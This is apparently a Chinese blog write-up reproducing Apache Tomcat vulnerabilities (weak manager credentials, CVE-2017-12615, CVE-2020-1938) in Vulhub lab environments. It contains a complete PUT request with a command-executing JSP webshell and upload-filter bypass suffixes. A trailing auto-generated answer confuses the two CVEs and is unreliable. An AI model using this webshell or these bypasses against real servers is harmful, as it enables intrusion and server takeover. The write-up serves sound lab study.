[Vulhub] Tomcat漏洞复现


Tomcat7+弱密码&后台Getshell漏洞

0x00 漏洞描述

Tomcat 支持通过后端部署war 文件,所以我们可以直接将 webshel​​l 放到 web 目录中。为了访问后端,需要权限。

Tomcat7+的权限如下:

  • manager(后台管理)
  • manager-gui(html页面权限)
  • manager-status(查看状态的权限)
  • manager-script(文本界面权限和状态权限)
  • manager-jmx(jmx 权限和状态权限)

host-manager(虚拟主机管理)

  • admin-gui(html页面权限)
  • admin-script(文本界面权限)

正常安装 Tomcat8 默认没有用户,管理页面只允许本地IP访问。只有管​​理员手动修改了conf/tomcat-users.xml文件中的用户权限属性,我们才能进行攻击。


0x01 漏洞复现

打开 tomcat 管理页面 http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,然后访问后台:
在这里插入图片描述
WAR file to deploy功能处可直接上传war包gatshell:
在这里插入图片描述
访问验证:
在这里插入图片描述


Tomcat PUT方法任意写文件(CVE-2017-12615)

0x00 漏洞描述

当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。


0x01 影响版本

Apache Tomcat 7.0.0 - 7.0.79


0x02 漏洞分析

Tomcat设置了写权限(readonly=false),导致我们可以向服务器写入文件。

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,但是我们还是可以通过一些文件系统的特性来绕过这个限制(比如/在Linux下使用)

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

源码分析:https://paper.seebug.org/399/#32


0x03 漏洞复现

直接发送以下数据包,shell就会写入Web根目录:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 372

<%
    if("8".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

在这里插入图片描述
访问验证:
在这里插入图片描述


Aapache Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)

0x00 漏洞描述

由于 Tomcat AJP 协议中的一个缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件。例如,攻击者可以读取 webapp 配置文件或源代码。此外,如果目标Web应用程序具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码。


0x01 影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31


0x02 漏洞分析

Tomcat 服务器对外监听两个端口用于与客户端进行正常的访问通信,分别监听8080端口与8009端口,其中8080端口为正常进行HTTP协议通信的端口,8009端口则是使用AJP协议进行通信,使用二进制格式来传输可读性文本,能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。

大部分情况下用户通过HTTP访问Tomcat服务器的时候数据流向是走的HTTP Connector。

但是若需要跟其他服务器有通讯,则其他服务器可以通过Ajp Connector 跟Tomcat进行通讯,可以简单理解为Ajp Connector是一个中间层,由它再将数据转为http给Tomcat服务器。

当我们是用ajp协议请求tomcat服务器时,将转向ajp connector。

我们构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet

由于请求路径中不能包含/../,也就导致了该漏洞只能读取webapps目录下的文件。

源码分析:https://xz.aliyun.com/t/7683


0x03 漏洞复现

环境搭建完成后,探测端口会发现有一个AJP端口8009正在监听:
在这里插入图片描述

用exp来复现,项目地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
在这里插入图片描述


参考链接:
https://paper.seebug.org/399/#32(CVE-2017-12615)
https://xz.aliyun.com/t/7683(CVE-2020-1938)

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
复现Tomcat漏洞,你可以使用vulhub这个平台。Vulhub是一个提供了各种漏洞环境的Docker镜像集合,其中包括了Tomcat漏洞环境。你可以按照以下步骤进行复现: 1. 首先,确保你已经安装了Docker,并且已经启动了Docker服务。 2. 下载vulhub的代码库,你可以在GitHub上找到它:https://github.com/vulhub/vulhub 3. 进入vulhubTomcat漏洞环境目录:cd vulhub/tomcat/CVE-2017-12615 4. 使用Docker Compose启动Tomcat容器:docker-compose up -d 5. 等待容器启动完成后,你可以访问http://localhost:8080来查看Tomcat的欢迎页面。 6. 接下来,你可以使用漏洞复现工具来验证漏洞。在这个漏洞环境中,你可以使用https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar这个AJP包构造器工具来构造恶意请求。 7. 下载ajpfuzzer_v0.6.jar工具。你可以使用wget命令来下载:wget https://github.com/doyensec/ajpfuzzer/releases/download/v0.6/ajpfuzzer_v0.6.jar 8. 使用ajpfuzzer_v0.6.jar工具来构造恶意请求,将包含任意代码的JSP文件上传到Tomcat服务器上。 9. 然后,你可以访问上传的JSP文件来执行恶意代码。 通过以上步骤,你就可以成功复现Tomcat漏洞。请注意,这仅仅是为了演示和学习目的,不要在未经授权的情况下使用这些技术攻击他人的系统。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [Tomcat系列漏洞复现——vulhub](https://blog.csdn.net/qq_45612828/article/details/125833415)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [vulhub靶场-tomcat漏洞复现](https://blog.csdn.net/m0_62008601/article/details/125922489)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值